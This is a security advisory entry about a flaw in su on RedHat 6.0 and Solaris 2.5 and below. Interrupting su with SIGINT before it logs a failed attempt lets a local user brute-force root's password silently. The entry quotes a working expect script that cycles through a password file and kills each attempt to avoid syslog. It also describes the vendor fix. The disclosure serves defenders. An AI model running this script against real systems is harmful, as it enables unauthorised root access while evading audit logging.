COMMAND
su
SYSTEMS AFFECTED
RedHat 6.0, Solaris 2.5 and below
PROBLEM
Tani Hosokawa posted following (it was originally noticed by st2).
The PAMified su that comes with redhat has a slight hole. When
you try to su to root (for example) if it's successful,
immediately gives you a shell prompt. Otherwise, it delays a full
second, then logs an authentication failure to syslog. If you
hit break in that second, no error, plus you know that the
password was bad, so you can brute force root's password. It is
easy to write a little threaded Perl prog that will do the trick.
Dr. Mudge (L0PHT) added following. The same sort of problem
existed in solaris /bin/su on 2.5 and below. The comments in the
quick proof of concept sploit below should explain further. This
was something that had been floating around for some time. It
was mentioned to Casper Dik at some point and it was fixed in the
next rev of Solaris (don't remember if the fix took place in
2.5.1 or 2.6 - it is in 2.6 at least). What happened was that the
Solaris 2.5 and below systems had /bin/su written in the following
fashion:
attempt to SU
|
succesfull
/ \
Y N
| |
exec cmd sleep
|
syslog
|
exit
There were a few problems here - not the least of which was that
they did not bother to trap signals. Thus, if you noticed su
taking a while you most likely entered an incorrect password and
were in the sleep phase. Sending a SIGINT by hitting ctrl-c would
kill the process before the syslog of the invalid attempt occured.
In current versions of /bin/su they DO trap signals. It should
be noted that this is a fairly common coding problem that people
will find in a lot of "security related" programs.
#!/usr/local/bin/expect
# A quick little sploit for a quick round of beers :) mudge@L0pht.com
#
# .mudge
if { ($argc < 1) || ($argc > 1) } {
puts "correct usage is : $argv0 pwfile"
exit
}
set pwfile [open $argv "r"]
log_user 0
foreach line [split [read $pwfile] "\n"] {
spawn su root
expect "Password:"
send "$line\n"
# you might need to tweak this but it should be ok
set timeout 2
expect {
"#" { puts "root password is $line\n" ; exit }
}
set id [ exp_pid ]
exec kill -INT $id
}
This was confirmed for su that comes with
sh-utils-1.16-14; pam-0.64-3
and on a fairly vanilla RH6.0 box. Also, it exhibits this
behaviour with or without shadowed passwords.
SOLUTION
Newer version do have fixed this (at least on Solaris). The
version of Solaris that fixed this made several changes; instead
of
not trapping signals
and Sorry/sleep/syslog
the new version traps (some) signals and reorders the calls to
syslog/sleep/Sorry. Of course, since you started the process you
can still kill -9 it but you won't know whether you typed the
right password until long after syslog() logged the bad "su".